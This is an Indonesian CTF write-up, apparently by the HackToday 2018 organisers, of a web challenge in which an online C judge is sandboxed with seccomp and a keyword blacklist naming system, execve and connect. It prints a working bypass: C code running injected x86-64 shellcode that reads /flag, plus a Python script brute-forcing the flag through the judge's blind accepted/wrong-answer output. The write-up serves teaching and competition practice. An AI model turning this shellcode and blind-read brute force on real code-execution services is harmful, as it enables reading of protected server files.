Senin, 03 September 2018

Write up Final HackToday. Web - Teelex (100)

Zip source code soal dapat didownload disini

Diberikan akses ke suatu web dan file zip yang merupakan source code dari web tersebut. Dari deskripsi yang diberikan pada soal, kita harus membaca flag yang berada pada /flag pada server. Berikut adalah tampilan dari web tersebut.

Web tersebut merupakan web online judge. Kita dapat memasukkan dan menjalankan codingan c. Dan web akan mengeluarkan pesan accepted atau wrong answer dengan membandingkan keluaran program dengan testcase yang ada.

Kita coba lihat source penting dari web tersebut.

submit.php

<?php
   if(isset($_FILES['code'])){

      $errors= array();
      $file_name = $_FILES['code']['name'];
      $file_size = $_FILES['code']['size'];
      $file_tmp = $_FILES['code']['tmp_name'];
      $file_type = $_FILES['code']['type'];
      $file_ext=strtolower(end(explode('.',$_FILES['code']['name'])));
      $secret = file_get_contents("judge/secret");
      $ext= array("c");

      if(in_array($file_ext,$ext) === false){
         $errors="File yang diizinkan hanya C.";
      }

      if($file_size > 2097152) {
         $errors='File tidak boleh lebih dari 2 MB';
      }
      if(empty($errors)==true) {
        $code_name = sha1($file_name.$secret.time());
        move_uploaded_file($file_tmp,"/tmp"."/".$code_name.".c");

        $out = shell_exec("python judge/oj.py ".$code_name);
        if(intval($out) === 1){
            echo "Accepted";
        }
        else if(intval($out) === 0){
            echo "Wrong Answer";
        }
        else if(intval($out) === -1 || intval($out) === -2){
            echo "Something wrong. Hacker not allowed here";
        }
      }else{
        print_r($errors);
      }
   }
?>


Submit.php akan memanggil script python judge/oj.py untuk melakukan compilasi pada script c yang diupload.

oj.py

import sys
import os
import subprocess
import re
from some_var import *

count = 1

def compile(name):
    cmd = "PATH='/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin' gcc -o /tmp/%s.bin /tmp/%s.c 2>&1" % (name,  name)
    os.system(cmd)

def delete(name):
    os.system("rm /tmp/%s.bin /tmp/%s.c" % (name,  name))

def judge(name):
    if(purifier(name) == -1):
        return -1
    sec(name)
    compile(name)
    accepted = 1
    tc_in = open("testcase/1.in")
    tc_out = open("testcase/1.out").read()
    hasil = "a"
    try:
        hasil = subprocess.check_output("/tmp/%s.bin" % name , stdin = tc_in)
        delete(name)

    except:
        delete(name)

    if(hasil.lower() == "bad system call"):
        return -2
    if(tc_out != hasil):
        accepted = 0

    return accepted

def sec(name):
    file = open("/tmp/%s.c" %(name)).read()
    file = re.sub(r"//(.+?)\n", "   ", file, flags=re.MULTILINE)
    file = re.sub(r"/\*(\S|\s)*?\*/", "   ", file, flags=re.MULTILINE)
    file = re.sub(r'int(\s+)main(\s*)\((\S|\s)*?\{', adder, file,flags=re.MULTILINE)
    file = kepala  + file
    open("/tmp/%s.c" %(name), "w").write(file)


def purifier(name):
    file = open("/tmp/%s.c" %(name)).read()

    for ins in black:
        if ins in file:
            print ins
            return -1


def main(): 
    file_name = sys.argv[1]
    print judge(file_name)

main()

some_var.py

import os
adder = """

int main  (int argc, char const *argv[]){
if (install_syscall_filter()) return 1;


"""

kepala = '''

#define _GNU_SOURCE 1
#include <stddef.h>
#include <stdlib.h>
#include <unistd.h>

#include "%s/config.h"
#include "%s/seccomp-bpf.h"


static int install_syscall_filter(void)
{
    struct sock_filter filter[] = {
        /* Validate architecture. */
        VALIDATE_ARCHITECTURE,
        /* Grab the system call number. */
        EXAMINE_SYSCALL,
        /* List allowed syscalls. */
        ALLOW_SYSCALL(rt_sigreturn),
#ifdef __NR_sigreturn
        ALLOW_SYSCALL(sigreturn),
#endif
        ALLOW_SYSCALL(exit_group),
        ALLOW_SYSCALL(exit),
        ALLOW_SYSCALL(read),
        ALLOW_SYSCALL(write),
        ALLOW_SYSCALL(fstat),
        ALLOW_SYSCALL(mmap),
        ALLOW_SYSCALL(rt_sigprocmask),
        ALLOW_SYSCALL(mprotect),
        ALLOW_SYSCALL(rt_sigaction),
        ALLOW_SYSCALL(brk),
        ALLOW_SYSCALL(nanosleep),
        ALLOW_SYSCALL(lseek),
        ALLOW_SYSCALL(alarm),
        ALLOW_SYSCALL(open),

        KILL_PROCESS,
    };
    struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
        .filter = filter,
    };

    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
        perror("prctl(NO_NEW_PRIVS)");
        goto failed;
    }
    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)) {
        perror("prctl(SECCOMP)");
        goto failed;
    }
    return 0;

failed:
    if (errno == EINVAL)
        fprintf(stderr, "SECCOMP_FILTER is not available. :(");
    return 1;
}

''' %(os.getcwd()+"/judge", os.getcwd()+"/judge")

black = [
 "clone",
 "system",
 "execveat",
 "fork",
 "execve",
 "dup",
 "dup2",
 "open",
 "alarm",
 "connect",
 "write",
 "fwrite",
 "fprintf",
 "read",
 "fopen",
 "getc",
 "read",
 "write"
]

Didalam script oj.py ada beberapa pengamanan yang dilakukan pada source c yang digunakan.
1. Akan dicek fungsi yang digunakan, apabila terdapat string dari beberapa fungsi berbahaya yang sudah didefine didalam array black maka program akan langsung return nilai -1, sehingga langsung muncul pesan hacker.
2. Semua comment yang ada akan dihilangkan.
3. whitespace diantara fungsi main akan dihilangkan.
4. Terdapat penambahan seccomp pada source c yang akan dicompile.

Apabila pengamanan sudah dilakukan, source dicompile dan dieksekusi dengan stdin dari 1.in. Dan output dibandingkan dengan 1.out. Jika sama maka accepted akan menjadi 1. Jika salah maka accepted akan menjadi 0, sehingga hasil yang keluar adalah wrong answer.

Kita tidak dapat menggunakan reverse shell karena, syscall system dan syscall connect tidak diallow oleh seccomp. Output juga tidak ditampilkan kelayar sehingga kita tidak dapat langsung membaca flag. Namun kita dapat membaca flag melalui assembly/shellcode.

Berikut rancangan source code c yang akan digunakan untuk upload file. Namakan saja villain.c

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
char flag[100] = "/flag";
char simpan[100] = {0};
// digunakan untuk pop nilai ke argumen
int notusedfun(char *rdi, char *rsi, char *rdx, char *rcx, int r8, int r9){

    return 0;
}


int main(int argc, char const *argv[])
{
    char *cd;
    char shellcode[10000] = "";

    // prepare
    cd = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    mprotect(cd, 4096, PROT_WRITE|PROT_READ|PROT_EXEC);
    void (*func)() = (void (*)())cd;
    memcpy(cd, shellcode, 4096);

    // brute force
    int offset = 0;
    int tebak = 'H';
    notusedfun(flag, simpan, 0, 0, offset, tebak);
    func();

    // judges
    int n;
    int hasil = 0;
    int temp  = 0;
    scanf("%d", &n);

    for (int i = 0; i < n; ++i)
    {
        scanf("%d", &temp);
        hasil += temp;
    }
    printf("%d\n", hasil);

    return 0;
}

Karena output blind, maka kita harus menebak karakter flag satu persatu. Skenario shellcode yang digunakan adalah sebagai berikut.
1. syscall open pada /flag
2. Baca /flag kedalam string simpan
3. Bandingkan nilai tebak dengan offset karakter pada simpan. Apabila beda maka program akan exit. Dan apabila sama maka program akan lanjut mengerjakan soal. Karakter flag yang benar akan ditandai dengan accepted pada online judge.

Berikut rancangan shellcode yang digunakan

from pwn import *

context.arch = 'amd64'

# Read flag and compare char at offset with comp value
# exit if condition false / return if condition true
# rdi := file yg mau dicari
# rsi := alamat sementara
# r8 := offset
# r9 := karakter yg mau ditebak

offset = 1
tebak  = 1
asem    = """
mov r15, rsi

mov rax, 2
mov rsi, 0
mov rdx, 0
syscall

xchg rax, rdi
xor rax, rax
mov rsi, r15
nop
nop
nop
nop
add rdx, 400
nop
nop
nop
nop
nop
syscall

mov rcx, rsi
add rcx, r8
mov al, byte ptr [rcx]
nop
nop
nop
nop
mov rbx, r9
nop
nop
nop
nop
cmp rax, rbx
je good

bad:
mov rax, 60
syscall

good:
ret
"""

baru = (asm(asem))
print repr(baru)[1:-1]
print disasm(baru)

Terdapat beberapa nop karena setelah dicoba dieksekusi tanpa nop instruksi yang dilakukan menjadi salah. Hal ini baru diketahui jika sebelumnya mendebug shellcode di gdb, sebelum diupload ke server.

Codingan villain.c setelah ditambahkan shellcode

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
char flag[100] = "/flag";
char simpan[100] = {0};
int notusedfun(char *rdi, char *rsi, char *rdx, char *rcx, int r8, int r9){

    return 0;
}


int main(int argc, char const *argv[])
{
    char *cd;
    char shellcode[10000] = "I\x89\xf7H\xc7\xc0\x02\x00\x00\x00H\xc7\xc6\x00\x00\x00\x00H\xc7\xc2\x00\x00\x00\x00\x0f\x05H\x97H1\xc0L\x89\xfe\x90\x90\x90\x90H\x81\xc2\x90\x01\x00\x00\x90\x90\x90\x90\x90\x0f\x05H\x89\xf1L\x01\xc1\x8a\x01\x90\x90\x90\x90L\x89\xcb\x90\x90\x90\x90H9\xd8t\tH\xc7\xc0<\x00\x00\x00\x0f\x05\xc3";

    // prepare
    cd = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    mprotect(cd, 4096, PROT_WRITE|PROT_READ|PROT_EXEC);
    void (*func)() = (void (*)())cd;
    memcpy(cd, shellcode, 4096);

    // brute force
    int offset = 0;
    int tebak = 'H';
    notusedfun(flag, simpan, 0, 0, offset, tebak);
    func();

    // judges
    int n;
    int hasil = 0;
    int temp  = 0;
    scanf("%d", &n);

    for (int i = 0; i < n; ++i)
    {
        scanf("%d", &temp);
        hasil += temp;
    }
    printf("%d\n", hasil);

    return 0;
}


Kita coba upload script tersebut kedalam server. Kita menebak karakter ‘H’ sebagai awal flag dengan offset 0.

Kita berhasil menebak karakter pertama di flag yaitu ‘H’. Langkah selanjutnya tinggal buat script bruteforce untuk menebak karakter.

Berikut script solver akhir.

import requests
import string
prt = string.printable
burp0_url = "http://2.2.2.2:50001/submit.php"

burp0_cookies = {"remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d": "eyJpdiI6ImF3dDlkRTJLbUhFN3Rnam01QjZvT2c9PSIsInZhbHVlIjoiRlwvY1ZsVW9cL0tHUE5kajk1anpvTVI5QkNhQUMxR2RhbGthSGZJTEQrZEUzMlRaVkVFcFdLTE5kTytHd3krdm9QVDdjaWQ4bWlzQzNEXC9VOGkzakVFOVViYnJ0VkdkMnRtY2dLXC9GNVNRR2FtWmlBQk9Sejl4eTV3U2RHRnQ0aVArYXMxTlVPamdLcXBcL0lhWUxNTkxOSjVHZTF0OWZvUkZzTlwvdW93TnlsandiTThBaFZrK2NQdWhVWDM5UTFmUk1EIiwibWFjIjoiZWRjNWZkNThhM2QyOWMwZGVkN2VmMGZiNzZlNGZlMmU2Y2YwNzY1NTY2ODU4NjA5YTI4OGIwMGY3NjFhZTFlMiJ9"}
burp0_headers = {"Cache-Control": "max-age=0", "Origin": "http://localhost:9000", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarydd92s3qmV6yceDF8", "Save-Data": "on", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "Referer": "http://localhost:9000/sf", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}

offset = '0'
karakter = 'r'

burp0_data="""------WebKitFormBoundarydd92s3qmV6yceDF8\r\nContent-Disposition: form-data; name=\"code\"; filename=\"villain.c\"\r\nContent-Type: text/x-csrc\r\n\r\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys/mman.h>\nchar flag[100] = \"/flag\";\nchar simpan[100] = {0};\nint notusedfun(char *rdi, char *rsi, char *rdx, char *rcx, int r8, int r9){\n\n\treturn 0;\n}\n\n\nint main(int argc, char const *argv[])\n{\n\tchar *cd;\n\tchar shellcode[10000] = \"I\\x89\\xf7H\\xc7\\xc0\\x02\\x00\\x00\\x00H\\xc7\\xc6\\x00\\x00\\x00\\x00H\\xc7\\xc2\\x00\\x00\\x00\\x00\\x0f\\x05H\\x97H1\\xc0L\\x89\\xfe\\x90\\x90\\x90\\x90H\\x81\\xc2\\x90\\x01\\x00\\x00\\x90\\x90\\x90\\x90\\x90\\x0f\\x05H\\x89\\xf1L\\x01\\xc1\\x8a\\x01\\x90\\x90\\x90\\x90L\\x89\\xcb\\x90\\x90\\x90\\x90H9\\xd8t\tH\\xc7\\xc0<\\x00\\x00\\x00\\x0f\\x05\\xc3\";\n\t\n\t// prepare\n  \tcd = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);\n\tmprotect(cd, 4096, PROT_WRITE|PROT_READ|PROT_EXEC);\n\tvoid (*func)() = (void (*)())cd;\n\tmemcpy(cd, shellcode, 4096);\n\n\t// brute force\n\tint offset = 1;\n\tint tebak = 'r';\n\tnotusedfun(flag, simpan, 0, 0, offset, tebak);\n\tfunc();\n\n\t// judges\n\tint n;\n\tint hasil = 0;\n\tint temp  = 0;\n\tscanf(\"%d\", &n);\n\n\tfor (int i = 0; i < n; ++i)\n\t{\n\t\tscanf(\"%d\", &temp);\n\t\thasil += temp;\n\t}\n\tprintf(\"%d\\n\", hasil);\n\n\treturn 0;\n}\r\n------WebKitFormBoundarydd92s3qmV6yceDF8--\r\n"""

flag = ""

def normalsearch():
    global flag
    for i in range(0,1000):
        cari = burp0_data.replace("offset = 1", "offset = %d" % (i))
        for j in prt:
            pload = cari.replace("tebak = 'r'", "tebak = %s" % repr(j))
            # print pload
            print i, j, flag
            koneksi = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=pload)
            # print koneksi.text
            if(koneksi.text == "Accepted"):
                flag += j
                break



normalsearch()

Jalankan dengan seksama, dan nikmati jalannya program. Memang cukup lama untuk mendapatkan flag. Namun flag tetap flag. Berikut adalah hasil akhir dari program setelah flag sudah didapatkan.

Sekian write up hacktoday final kali ini. Semoga soal soal yang kami berikan dapat bermanfaat dan menambah ilmu bagi kita semua. Kurang lebihnya mohon maaf apabila panitia banyak kesalahan baik dari segi soal, ataupun kelalaian. Kritik dan saran mengenai hacktoday dapat disampaikan kepada kami agar lebih baik kedepannya. Terimakasih sudah bermain :D.